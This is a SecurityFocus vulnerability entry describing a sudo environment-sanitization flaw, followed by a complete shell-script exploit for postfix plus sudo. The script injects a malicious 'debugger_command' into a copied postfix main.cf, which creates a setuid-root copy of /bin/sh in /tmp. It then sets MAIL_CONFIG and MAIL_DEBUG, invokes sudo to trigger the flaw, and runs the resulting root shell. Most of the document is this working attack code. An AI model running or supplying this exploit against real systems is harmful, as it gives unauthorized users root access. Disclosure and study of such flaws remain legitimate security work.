source: http://www.securityfocus.com/bid/3871/info

Sudo is a freely available, open source permissions management software package available for the Linux and Unix operating systems. It is maintained by Todd C. Miller.

Under some circumstances, sudo does not properly sanitize the environment it executes programs with. In the event that sudo is used to run a program such as an MTA with root privileges, this could result in a local user passing unsafe data to the program via environment variables. From these environment variables the user may be able to execute commands as root, and potentially gain elevated privileges.

#!/bin/sh
#
# root shell exploit for postfix + sudo
# tested on debian powerpc unstable
#
# by Charles 'core' Stevenson <core@bokeoa.com>

# Put your password here if you're not in the sudoers file
PASSWORD=wdnownz

echo -e "sudo exploit by core <core@bokeoa.com>\n"

echo "Setting up postfix config directory..."
/bin/cp -r /etc/postfix /tmp

echo "Adding malicious debugger command..."
echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf

echo "Setting up environment..."
export MAIL_CONFIG=/tmp/postfix
export MAIL_DEBUG=

sleep 2

echo "Trying to exploit..."
echo -e "$PASSWORD\n"|/usr/bin/sudo su -

sleep 2

echo "We should have a root shell let's check..."
ls -l /tmp/sh

echo "Cleaning up..."
rm -rf /tmp/postfix

echo "Attempting to run root shell..."
/tmp/sh